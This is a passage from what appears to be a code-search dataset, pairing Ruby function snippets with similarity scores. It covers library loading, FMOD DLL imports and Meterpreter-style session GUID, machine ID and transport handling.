"def load_library\n raise NotImplementedError, \"loading extension libraries is not implemented\"\n end",
"def init_ext()\n \n end",
"def new_api\n load_config\n require 'extensions/metasploit/extension.rb'\n @api = BeEF::Extension::Metasploit::RpcClient.instance\n @api.unit_test_init()\n end",
"def load_module(path)\n mod = Module.new\n\n if File.extname(path) == \".erb\"\n contents = File.read(path)\n query, lineno = GraphQL::Client::Erubis.extract_graphql_section(contents)\n mod = client.parse(query, path, lineno) if query\n end\n\n mod.extend(ViewModule)\n mod.client = client\n mod.path = path\n mod\n end",
"def loader; end",
"def initialize(filename = 'System/fmod.dll')\n @filename = filename\n @functions = {}\n @handle = 0 # Handle to the DLL\n # Load specified library into the address space of game process\n w32_LL = Win32API.new('kernel32.dll', 'LoadLibrary', 'p', 'l')\n @handle = w32_LL.call(filename)\n end",
"def load_plugins\n super\n extension_loader.load_extensions\n end",
"def load_server(app = T.unsafe(nil)); end",
"def load_server(app = T.unsafe(nil)); end",
"def dynamic_loadable_module\n super\n end",
"def initialize\n # Create the DLL handlers\n @@lowDLL = DLL.new('System/fmod.dll')\n @@studioDLL = DLL.new('System/fmodstudio.dll')\n \n # Import the functions from each DLL\n loadLowDLL()\n loadStudioDLL()\n \n handle = Studio::System.create()\n @system = Studio::System.new(handle)\n @masterBank = @system.loadBankFile(\"Master Bank.bank\")\n @stringsBank = @system.loadBankFile(\"Master Bank.strings.bank\")\n @sfxBank = @system.loadBankFile(\"SFX.bank\")\n end",
"def extensions\n @extensions ||= Protocol.const_get(:\"Version#{version}\")::Extensions.new(context, logger: logger)\n end",
"def extensions\n @extensions ||= Protocol.const_get(:\"Version#{version}\")::Extensions.new(context, logger: logger)\n end",
"def on_module_load(mod, type, name, modinfo)\n\t\t# Payload modules require custom loading as the individual files\n\t\t# may not directly contain a logical payload that a user would \n\t\t# reference, such as would be the case with a payload stager or \n\t\t# stage. As such, when payload modules are loaded they are handed\n\t\t# off to a special payload set. The payload set, in turn, will\n\t\t# automatically create all the permutations after all the payload\n\t\t# modules have been loaded.\n\t\tif (type != MODULE_PAYLOAD)\n\t\t\t# Add the module class to the list of modules and add it to the\n\t\t\t# type separated set of module classes\n\t\t\tadd_module(mod, name, modinfo)\n\t\tend\n\n\t\tmodule_sets[type].add_module(mod, name, modinfo)\n\tend",
"def loadStudioDLL()\n # System\n @@studioDLL.import(\"Studio_System_Create\", \"pl\")\n @@studioDLL.import(\"Studio_System_FlushCommands\", \"l\")\n @@studioDLL.import(\"Studio_System_FlushSampleLoading\", \"l\")\n @@studioDLL.import(\"Studio_System_GetAdvancedSettings\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBank\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBankByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBankCount\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBankList\", \"lplp\")\n @@studioDLL.import(\"Studio_System_GetBufferUsage\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBus\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBusByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetCPUUsage\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetEvent\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetEventByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetListenerAttributes\", \"llp\")\n @@studioDLL.import(\"Studio_System_GetListenerWeight\", \"llp\")\n @@studioDLL.import(\"Studio_System_GetLowLevelSystem\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetNumListeners\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetSoundInfo\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetVCA\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetVCAByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_Initialize\", \"llllp\")\n @@studioDLL.import(\"Studio_System_LoadBankCustom\", \"lplp\")\n @@studioDLL.import(\"Studio_System_LoadBankFile\", \"lplp\")\n @@studioDLL.import(\"Studio_System_LoadBankMemory\", \"lplllp\")\n @@studioDLL.import(\"Studio_System_LoadCommandReplay\", \"lpl\")\n @@studioDLL.import(\"Studio_System_LookupID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_LookupPath\", \"lpplp\")\n @@studioDLL.import(\"Studio_System_RegisterPlugin\", \"lp\")\n @@studioDLL.import(\"Studio_System_Release\", \"l\")\n @@studioDLL.import(\"Studio_System_ResetBufferUsage\", \"l\")\n @@studioDLL.import(\"Studio_System_SetAdvancedSettings\", \"lp\")\n @@studioDLL.import(\"Studio_System_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_System_SetListenerAttributes\", \"llp\")\n @@studioDLL.import(\"Studio_System_SetListenerWeight\", \"llp\")\n @@studioDLL.import(\"Studio_System_SetNumListeners\", \"ll\")\n @@studioDLL.import(\"Studio_System_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_System_StartCommandCapture\", \"lpl\")\n @@studioDLL.import(\"Studio_System_StopCommandCapture\", \"l\")\n @@studioDLL.import(\"Studio_System_UnloadAll\", \"l\")\n @@studioDLL.import(\"Studio_System_UnregisterPlugin\", \"lp\")\n @@studioDLL.import(\"Studio_System_Update\", \"l\")\n \n # EventDescription\n @@studioDLL.import(\"Studio_EventDescription_CreateInstance\", \"pp\")\n @@studioDLL.import(\"Studio_EventDescription_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetInstanceCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetInstanceList\", \"lplp\")\n @@studioDLL.import(\"Studio_EventDescription_GetLength\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetMaximumDistance\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetMinimumDistance\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameter\", \"lpp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameterByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameterCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_EventDescription_GetSampleLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetSoundSize\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserProperty\", \"lpp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserPropertyByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserPropertyCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_HasCue\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_Is3D\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsOneshot\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsSnapshot\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsStream\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_LoadSampleData\", \"l\")\n @@studioDLL.import(\"Studio_EventDescription_ReleaseAllInstances\", \"l\")\n @@studioDLL.import(\"Studio_EventDescription_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_EventDescription_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_UnloadSampleData\", \"l\")\n \n # EventInstance\n @@studioDLL.import(\"Studio_EventInstance_Get3DAttributes\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetChannelGroup\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetDescription\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetListenerMask\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameter\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterValue\", \"lppp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterValueByIndex\", \"llpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPitch\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPlaybackState\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetProperty\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetReverbLevel\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetTimelinePosition\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_IsVirtual\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_Release\", \"l\")\n @@studioDLL.import(\"Studio_EventInstance_Set3DAttributes\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetListenerMask\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValue\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValueByIndex\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValuesByIndices\",\"lppl\")\n @@studioDLL.import(\"Studio_EventInstance_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetPitch\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetProperty\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetReverbLevel\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetTimelinePosition\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_SetVolume\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_Start\", \"l\")\n @@studioDLL.import(\"Studio_EventInstance_Stop\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_TriggerCue\", \"l\")\n \n # ParameterInstance\n @@studioDLL.import(\"Studio_ParameterInstance_GetDescription\", \"lp\")\n @@studioDLL.import(\"Studio_ParameterInstance_GetValue\", \"lp\")\n @@studioDLL.import(\"Studio_ParameterInstance_SetValue\", \"ll\")\n \n # Bus\n @@studioDLL.import(\"Studio_Bus_GetChannelGroup\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetMute\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_Bus_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_Bus_LockChannelGroup\", \"l\")\n @@studioDLL.import(\"Studio_Bus_SetMute\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_SetVolume\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_StopAllEvents\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_UnlockChannelGroup\", \"l\")\n \n # VCA\n @@studioDLL.import(\"Studio_VCA_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_VCA_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_VCA_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_VCA_SetVolume\", \"ll\")\n \n # Bank\n @@studioDLL.import(\"Studio_Bank_GetBusCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetBusList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetEventCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetEventList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetSampleLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetStringCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetStringInfo\", \"llpplp\")\n @@studioDLL.import(\"Studio_Bank_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetVCACount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetVCAList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_LoadSampleData\", \"l\")\n @@studioDLL.import(\"Studio_Bank_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_Unload\", \"l\")\n @@studioDLL.import(\"Studio_Bank_UnloadSampleData\", \"l\")\n \n # CommandReplay\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandAtTime\", \"llp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandCount\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandInfo\", \"llp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandString\", \"llpl\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCurrentCommand\", \"lpp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetLength\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetPlaybackState\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetSystem\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_Release\", \"l\")\n @@studioDLL.import(\"Studio_CommandReplay_SeekToCommand\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SeekToTime\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetBankPath\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_SetCreateInstanceCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetFrameCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetLoadBankCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_Start\", \"l\")\n @@studioDLL.import(\"Studio_CommandReplay_Stop\", \"l\")\n \n # Debugging Function?\n # @@studioDLL.import(\"Studio_ParseID\", \"\")\n end",
"def load_source_and_set_module; end"
] | [
"0.6424843",
"0.63959235",
"0.60280013",
"0.59327334",
"0.58852553",
"0.58675027",
"0.58646905",
"0.5834242",
"0.5749528",
"0.5728499",
"0.57094085",
"0.5666148",
"0.5636438",
"0.5600541",
"0.55477715",
"0.5533418",
"0.5460047",
"0.54282707",
"0.54270816",
"0.5381664",
"0.53732914",
"0.53532815",
"0.53532815",
"0.5345578",
"0.53371996",
"0.53338534",
"0.53338534",
"0.52940154",
"0.52699673",
"0.52643657"
] | 0.6758483 | 0 |
Set the session GUID on the target session. | def set_session_guid(guid)
request = Packet.create_request(COMMAND_ID_CORE_SET_SESSION_GUID)
request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
client.send_request(request)
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_session_uuid\n if session[:session_uuid].blank?\n session[:session_uuid] = SecureRandom.uuid\n end\n end",
"def session_guid\n UUIDTools::UUID.random_create.to_s\n end",
"def set_session\n @session = session[:user_id]\n end",
"def set_session_unit_id\n session[:unit_id] = @unit.id\n end",
"def set_session(env, sid, session, options)\n raise '#set_session not implemented.'\n end",
"def current_registration_session_uuid=(uuid)\n candidates_registrations[current_urn] = uuid\n end",
"def set_session\n @session = BatchConnect::Session.find(params[:id])\n end",
"def set_session\n session_id = SecureRandom.hex(4)\n @connections[:clients].each do |other_session, other_client|\n if session_id == other_session\n # session_id is not unique\n set_session\n end\n end\n session_id\n end",
"def id=(value)\n if value == @defaults['ai.session.id']\n @values.delete 'ai.session.id' if @values.key? 'ai.session.id'\n else\n @values['ai.session.id'] = value\n end\n end",
"def set_session(env, sid)\n raise '#set_session needs to be implemented.'\n end",
"def session_id=(val)\n if (val.kind_of?(Integer))\n @session_id = val & 0xffffffff\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value must be 4-bytes, but was #{val.length}.\" if (val.length != 4) \n @session_id = val.unpack('N')[0]\n else\n raise ArgumentError, \"Expected String or Integer, but #{val.class} provided.\" \n end\n end",
"def setup_session\n @session_id ||= if @smug_user.email\n setup_session_with_username\n else \n setup_session_anonymously\n end\n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def setup\n session[:user_id]=1\n end",
"def set_session\n \n end",
"def session(session_id)\n @session_id = session_id\n end",
"def set_guid\n \tif self.guid.nil?\n \t\t# we have a create (to whom ever is reading this, I am sure I could use something like before_create instead, but I prefer this more controlled method)\n \t\tself.guid = Digest::MD5.hexdigest(\"#{uid}--#{Time.now.to_i}\")\n \t\tend\n end",
"def session_id=(session_id)\n @session_id = session_id.blank? ? nil : \";jsessionid=#{session_id}\"\n end",
"def set_session\n @session = Session.find(params[:session_id])\n end",
"def session_set(name,value)\n session[name] = value\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def offering_session_id=(session)\n self.write_attribute(:offering_session_id, session)\n self.write_attribute(:offering_session_order, nil)\n self.write_attribute(:moderator_comments, nil)\n self.write_attribute(:application_moderator_decision_type_id, nil)\n end",
"def cracker_session_id\n @session_id ||= ::Rex::Text.rand_text_alphanumeric(8)\n end",
"def hubssolib_current_session=(new_session)\n @hubssolib_current_session = new_session\n end",
"def reset_session_id!\n token = generate_authentication_token\n self.update_column(:session_id, token)\n token\n end",
"def set_session\n @session = current_session\n end",
"def session_id\n @session_id ||= \"#{chip_api.redis_session_prefix}_#{token.claims_token.api_id}\"\n end",
"def session_id\n super\n end"
] | [
"0.72196114",
"0.64227295",
"0.63381284",
"0.63174313",
"0.6192695",
"0.6109987",
"0.60882807",
"0.6060033",
"0.6023056",
"0.60060656",
"0.6004382",
"0.599325",
"0.5952643",
"0.5942973",
"0.5873915",
"0.5821326",
"0.58124244",
"0.5767381",
"0.57480234",
"0.57406634",
"0.5732135",
"0.5732135",
"0.5732135",
"0.5725792",
"0.5707234",
"0.5706308",
"0.5704713",
"0.5699607",
"0.56880563",
"0.5674544"
] | 0.79107463 | 0 |
Get the session GUID from the target session. | def get_session_guid(timeout=nil)
request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID)
args = [request]
args << timeout if timeout
response = client.send_request(*args)
response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def session_guid\n UUIDTools::UUID.random_create.to_s\n end",
"def session_id\n @session.nil? ? '' : @session.session_id\n end",
"def session_id\n @grpc.name.split(\"/\")[7]\n end",
"def session_id\n session.transport.algorithms.session_id\n end",
"def session_id\n @options[:session_id]\n end",
"def session_id\n @driver.session_id\n end",
"def session_id\n @session_id ||= \"#{chip_api.redis_session_prefix}_#{token.claims_token.api_id}\"\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def get_session_id\n check_lisitng_id\n calendar_frame = get_vrbo_calendar_page.iframes.first.src\n page = @agent.get calendar_frame\n link = page.links[3].href\n uri = Addressable::URI.parse(link)\n uri.query_values['sessionId']\n end",
"def session_id\n Capybara.current_session.driver.browser.instance_variable_get(:@bridge).session_id\n end",
"def cracker_session_id\n @session_id ||= ::Rex::Text.rand_text_alphanumeric(8)\n end",
"def reference_number\n @session_id\n end",
"def session_id\n @response.xpath('//SessionId').text\n end",
"def id\n response_hash[:session_id]\n end",
"def session_id\n request.session_options[:id]\n end",
"def session_id_key\n @session_id_key\n end",
"def to_param\n session_id\n end",
"def get_session_id\n @agent.get( @root_url + '/dwr/engine.js') do |page|\n @session_id = extract_session_id(page.body)\n end\n end",
"def current_registration_session_uuid\n candidates_registrations[current_urn]\n end",
"def get_session_id\n\t\t\tresponse = perform_request(MAGIC_BYTES + REQUEST_BYTE[:challenge] + CLIENT_ID)\n\t\t\t\n\t\t\t# the challenge token comes back as a series of bytes that represent the\n\t\t\t# integer we want, so we have to convert it to the actual 32bit int\n\t\t\t[response.slice(5..-2).to_i].pack(\"l>\").bytes.to_a\n\t\tend",
"def session_id\n @session_id ||= (bytes = [SecureRandom.uuid.gsub(DASH_REGEX, '')].pack(UUID_PACK)\n BSON::Document.new(id: BSON::Binary.new(bytes, :uuid)))\n end",
"def sc_guid()\n # We only need to fetch the remote GUID once since it never changes for a given instance\n @guid = @driver.get_sc_guid(abs_path) if @guid.nil?\n return @guid\n end",
"def get_user_guid\n user = @client.current_user\n user.guid\n end",
"def current_session_id(env)\n env[ENV_SESSION_OPTIONS_KEY][:id]\n end",
"def session_key\n MfaLog.get_mfa_session_key(self.admin_id, self.ip_address)\n end",
"def session_id\n @session_id || raise(Error::WebDriverError, 'no current session exists')\n end",
"def grid_session_id\n @browser.driver.session_id\n end",
"def extract_session_id\n self.session_id = (@env[\"rack.session\"] ? @env[\"rack.session\"][\"session_id\"] : nil) || @request.ip\n end"
] | [
"0.77886343",
"0.69986856",
"0.6970664",
"0.6963137",
"0.6794267",
"0.67941254",
"0.6701585",
"0.6700476",
"0.6700476",
"0.6700476",
"0.66536844",
"0.66276145",
"0.65499",
"0.6527658",
"0.6492617",
"0.64865094",
"0.6470554",
"0.6451022",
"0.6426514",
"0.6426412",
"0.6400185",
"0.6362829",
"0.6358717",
"0.6329309",
"0.6303106",
"0.6295986",
"0.6274616",
"0.6192399",
"0.61701596",
"0.61687595"
] | 0.7434208 | 1 |
Get the machine ID from the target session. | def machine_id(timeout=nil)
request = Packet.create_request(COMMAND_ID_CORE_MACHINE_ID)
args = [request]
args << timeout if timeout
response = client.send_request(*args)
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
# Normalise the format of the incoming machine id so that it's consistent
# regardless of case and leading/trailing spaces. This means that the
# individual meterpreters don't have to care.
# Note that the machine ID may be blank or nil and that is OK
Rex::Text.md5(mid.to_s.downcase.strip)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def session_id\n session.transport.algorithms.session_id\n end",
"def session_id\n @driver.session_id\n end",
"def get_session_id\n\t\t\tresponse = perform_request(MAGIC_BYTES + REQUEST_BYTE[:challenge] + CLIENT_ID)\n\t\t\t\n\t\t\t# the challenge token comes back as a series of bytes that represent the\n\t\t\t# integer we want, so we have to convert it to the actual 32bit int\n\t\t\t[response.slice(5..-2).to_i].pack(\"l>\").bytes.to_a\n\t\tend",
"def get_session_id\n @agent.get( @root_url + '/dwr/engine.js') do |page|\n @session_id = extract_session_id(page.body)\n end\n end",
"def id\n response_hash[:session_id]\n end",
"def session_id\n @response.xpath('//SessionId').text\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def session_id\n request.session_options[:id]\n end",
"def session_id\n @options[:session_id]\n end",
"def extract_session_id\n self.session_id = (@env[\"rack.session\"] ? @env[\"rack.session\"][\"session_id\"] : nil) || @request.ip\n end",
"def session_id\n Capybara.current_session.driver.browser.instance_variable_get(:@bridge).session_id\n end",
"def get_session_id(name)\n sessions = parse_body get(\"#{admin_url}/sessions/summary\")\n current = sessions.find do |session|\n session[:name] == name\n end\n current&.dig(:id)\n end",
"def session_id\n @session.nil? ? '' : @session.session_id\n end",
"def get_target_id\n target_id = send_request_cgi({\n 'method' => 'GET',\n 'uri'=> normalize_uri(datastore[\"Nifi-Path\"], '/process-groups/root')\n }).get_json_document[\"id\"]\n end",
"def session_id\n @grpc.name.split(\"/\")[7]\n end",
"def generate_machine_id()\n \n end",
"def current_session_id(env)\n env[ENV_SESSION_OPTIONS_KEY][:id]\n end",
"def session_id\n @session_id ||= \"#{chip_api.redis_session_prefix}_#{token.claims_token.api_id}\"\n end",
"def session_guid\n UUIDTools::UUID.random_create.to_s\n end",
"def id\n @id ||= scgi.session_id\n end",
"def get_machine_id()\n machine_id_filepath = \".vagrant/machines/default/virtualbox/id\"\n\n if not File.exists? machine_id_filepath\n # VM hasn't been created yet.\n return false\n end\n\n # This is probably not a great way to do this: shell out to the cat command.\n # It seems likely that ruby has a get-file-contents function somewhere,\n # but I'm definitely not a ruby dev right now.\n machine_id = `cat #{machine_id_filepath}`\nend",
"def get_session_guid(timeout=nil)\n request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID)\n\n args = [request]\n args << timeout if timeout\n\n response = client.send_request(*args)\n\n response.get_tlv_value(TLV_TYPE_SESSION_GUID)\n end",
"def session_id\n @session_id || raise(Error::WebDriverError, 'no current session exists')\n end",
"def cracker_session_id\n @session_id ||= ::Rex::Text.rand_text_alphanumeric(8)\n end",
"def session_id_key\n @session_id_key\n end",
"def current_vm_id\n @metadata_lock.synchronize do\n instance_manager.instance_id\n end\n end",
"def get_session_id\n check_lisitng_id\n calendar_frame = get_vrbo_calendar_page.iframes.first.src\n page = @agent.get calendar_frame\n link = page.links[3].href\n uri = Addressable::URI.parse(link)\n uri.query_values['sessionId']\n end",
"def session_key\n MfaLog.get_mfa_session_key(self.admin_id, self.ip_address)\n end"
] | [
"0.6648093",
"0.6515641",
"0.638625",
"0.63716274",
"0.63456905",
"0.6308725",
"0.6267939",
"0.6267939",
"0.6267939",
"0.62231076",
"0.6216795",
"0.6170859",
"0.6158576",
"0.6153442",
"0.61497825",
"0.61282265",
"0.6105966",
"0.60892195",
"0.6080113",
"0.6077868",
"0.6066587",
"0.60284823",
"0.60206234",
"0.5999187",
"0.59569687",
"0.59479326",
"0.59198415",
"0.59019274",
"0.5898271",
"0.5868952"
] | 0.69252264 | 0 |
Remove a transport from the session based on the provided options. | def transport_remove(opts={})
request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_REMOVE, opts)
return false unless request
client.send_request(request)
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy_transport\n if transport\n unsubscribe_from_transport_events transport\n transport.close_connection\n connection.release_websocket_transport\n end\n end",
"def drop(options = {})\n if key = backend.keys.first\n [key, delete(key)]\n end\n end",
"def delete_session(env, sid, options); end",
"def drop(options = {})\n if key = @backend.keys.first\n [key, delete(key)]\n end\n end",
"def destroy\n @transport = @player.transports.find(params[:id])\n @transport.destroy\n\n respond_to do |format|\n format.html { redirect_to(player_transports_url(@player)) }\n format.xml { head :ok }\n end\n end",
"def remove_target\n options[:remove_target]\n end",
"def remove(options = {})\n self.class.remove(self.version_key, options)\n end",
"def drop(opts = {})\n client.send(:with_session, opts) do |session|\n maybe_drop_emm_collections(opts[:encrypted_fields], client, session) do\n temp_write_concern = write_concern\n write_concern = if opts[:write_concern]\n WriteConcern.get(opts[:write_concern])\n else\n temp_write_concern\n end\n context = Operation::Context.new(client: client, session: session)\n operation = Operation::Drop.new({\n selector: { :drop => name },\n db_name: database.name,\n write_concern: write_concern,\n session: session,\n })\n do_drop(operation, session, context)\n end\n end\n end",
"def deprecated_for_removal_transport_configuration_proc\n transport_options_settings if transport_options_settings.is_a?(Proc) && transport_options.adapter.nil?\n end",
"def transport(options = {})\n @transport ||= Net::SSH::Transport::Session.new(\n options[:host] || \"localhost\",\n options.merge(kex: \"test\", host_key: \"ssh-rsa\", append_all_supported_algorithms: true, verify_host_key: :never, proxy: socket(options))\n )\n end",
"def close\n @logger.debug(@host) { 'Closing session' }\n @transport.close\n @transport = nil\n end",
"def unsubscribe(options = {})\n unsubscribed_at = options[:unsubscribed_at] || Time.current\n new_attributes = { subscribing: false, unsubscribed_at: unsubscribed_at,\n subscribing_to_email: false, unsubscribed_to_email_at: unsubscribed_at,\n optional_targets: optional_targets }\n optional_target_names.each do |optional_target_name|\n new_attributes[:optional_targets] = new_attributes[:optional_targets].merge(\n Subscription.to_optional_target_key(optional_target_name) => false,\n Subscription.to_optional_target_unsubscribed_at_key(optional_target_name) => Subscription.convert_time_as_hash(subscribed_at))\n end\n update(new_attributes)\n end",
"def destroy\n @transport = Transport.find(params[:id])\n @transport.destroy\n\n respond_to do |format|\n format.html { redirect_to(transports_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @transport = Transport.find(params[:id])\n @transport.destroy\n\n respond_to do |format|\n format.html { redirect_to(transports_url) }\n format.xml { head :ok }\n end\n end",
"def remove_netif(opts)\n\n end",
"def remove_netif(opts)\n\n end",
"def remove_netif(opts)\n\n end",
"def destroy_session(env, sid, options)\n raise '#destroy_session not implemented'\n end",
"def destroy\n authorize! :destroy, @transport\n @transport.destroy\n respond_to do |format|\n format.html { redirect_to transports_url, notice: 'Transport was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @transport.destroy\n respond_to do |format|\n flash[:success] = 'Transport was successfully destroyed.' ;\n format.html { redirect_to transports_url }\n format.json { head :no_content }\n end\n end",
"def unsubscribe(subscriber_name = DEFAULT_SUBSCRIBER_NAME, options = { })\n wait_for_destination(options[:startup_timeout]) do\n with_session do |session|\n session.unsubscribe( subscriber_name )\n end\n end\n end",
"def delete(opts = {}, &block)\n @channel.once_open do\n exchange_delete(opts.fetch(:if_unused, false), opts.fetch(:nowait, false), &block)\n end\n\n # backwards compatibility\n nil\n end",
"def delete_session(req, sid, options)\n @lock.delete_session(req.env, sid)\n generate_sid unless options[:drop]\n end",
"def logout!(options = {})\n session[:session_token] = session[:active_at] = nil\n end",
